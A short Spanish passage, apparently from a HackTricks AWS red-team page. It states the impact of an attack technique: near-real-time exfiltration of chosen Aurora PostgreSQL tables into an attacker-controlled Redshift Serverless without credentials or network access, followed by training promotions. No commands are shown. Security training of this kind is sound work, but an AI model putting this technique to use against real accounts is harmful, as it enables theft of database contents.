Impacto: Exfiltration continua casi en tiempo real de tablas seleccionadas de Aurora PostgreSQL hacia Redshift Serverless, controlada por el atacante, sin usar credenciales de base de datos, backups ni acceso de red al clúster de origen.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks